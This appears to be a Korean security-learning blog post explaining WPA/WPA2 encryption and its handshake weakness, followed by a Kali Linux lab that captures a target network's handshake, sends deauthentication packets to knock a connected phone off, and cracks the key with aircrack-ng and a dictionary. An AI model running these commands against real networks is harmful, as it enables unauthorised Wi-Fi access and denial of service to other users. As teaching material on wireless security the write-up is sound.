Self-Improvement

WPA, WPA2 비밀번호 크랙 본문

무선

WPA, WPA2 비밀번호 크랙

JoGeun 2018. 10. 20. 14:23

*WPA 키 크래킹
WPA(Wi-Fi Protected Access)는 802.11 와이파이 사용자를 위해 개발된 보안 표준으로 WEP 암호화 방식에 비해 정교한 데이터 암호화를 제공하며, WEP의 불충분한 인증 과정을 개선해 좀 더 나은 인증 기능을 제공한다암호화 기법으로는 TKIP과 AES을 사용한다.
  
TKIP란 순서 규칙이 있는 48비트 초기화 벡터를 이용하며키 재사용과 재생 공격을 방지하고 패킷당 키 혼합 기능 패킷 위조 공격을 방어하는 암호화된 체크섬 기능을 제공한다.
  
AES란 128,192,256비트 등의 가변 키 크기를 갖는 수학적 알고리즘을 제공하며암호화된 데이터는 AES 알고리즘의 키 값 없이는 원래 데이터로 복호화가 거의 불가능하다. AES 암호화 방식은 기밀 유출 사고를 방지하기 위해 많이 사용되고 있다.
  
WPA 키 크래킹을 할 때는 WEP 키 방식과는 많은 차이점이 있다무선 통신상의 전송 내용을 암호화하는 키가 기존 WEP에서는 고정돼 있지만, WPA 인증방식에서는 암호 키를 특정 시간이나 일정 크기의 패킷 전송 후에 자동으로 변경하기 때문에 WEP 크래킹과 같은 방법으로는 크랙이 어렵다키 갯신이 매우 빠르기 때문에 데이터 수집이 무의미하다.

(취약점)
WPA 암호화 방식은 사용자 AP에 접속할 때 미리 설정한 키를 알아야만 인증하게 하는 방식으로 공유키(Shared Key) 인증 방식을 사용한다공유 키 인증 방식은 WPA 핸드세이킹(Hand shaking) 과정을 거치는데공유 키 인증 방식은 암호 알고리즘의 취약점을 공격하지 않고인증 패킷 스니핑만으로 키 값을 알아 낼 수 있는 취약점을 지니고 있다위와 같은 공유 키 인증 방식은 무선 결합 과정인 Passive와 Active 결합 과정에서 인증 과정인 Authentication 시점에서 사용된다.

무선 Active 결합 과정과 같이 한 번 인증을 거친 스테이션은 다음번 인증을 할 때 인증 과정을 거치지 않고무선 프로파일(profile)을 참조해스테이션 먼저 프로브(Probe) 요청을 보내 자동으로 접속하게 된다이러한 취약점을 이용해 공격자는 Deauthentication Packet을 이용해 DoS 공격을 수행한 후 클라이언트가 AP에 다시 재 결합할 때 발생하는 인증 패킷을 스니핑해 WPA 키 크래킹을 시도한다.

*실습
사전 준비 : KaliLinux, 무선 랜카드

#iwconfig 
 - 무선랜 확인




#airmon-ng start wlan0
 - 모니터모드로 전환




#airmon-ng check kill




#airmon-ng 
 - 무선 인터페이스 확인




#airrdump-ng wlan0mon
 - 공격할 WPA 무선을 찾는다



WPA로 되어있는 securityhacker2 확인

#airodump-ng -c 4 --bssid 92:9F:33:A9:3B:27 -w securityhacker2 wlan0mon
 - bssid가 92:9F:33:A9:3B:27인 securityhacker2의 패킷을 securityhacker2파일에 저장한다



해당 AP에 하나의 핸드폰이 연결되어있다.


#aireplay-ng -0 2 -a 92:9F:33:A9:3B:27 -c 94:8B:C1:B2:75:A2 wlan0mon
 - 다른 터미널에서 WPA 키 크랙을 위해 연결된 핸드폰의 인증이 자동으로 끊겼다고 재인증을 하게 한다.



전과는 다르게 상단위에 WPA hacdshake가 생김으로써 재인증이 되어졌다는 것이며 패킷에 암호가 포함되어졌다.


#aircrack-ng -b 92:9F:33:A9:3B:27 -w [dictionary-file] securityhacker2.cap
 - dictionary Attack을 이용하여 패킷안의 암호를 크랙한다
※좋은 사전파일을 가지고 있으면 크랙이 빨라진다.



*fixed ~~~ wlan0mon channel 0 :: 으로 되어있으면 진행이 안되어진다. 그래서 실행중이던? 명령어들을 멈춘후에 다시 시작한다.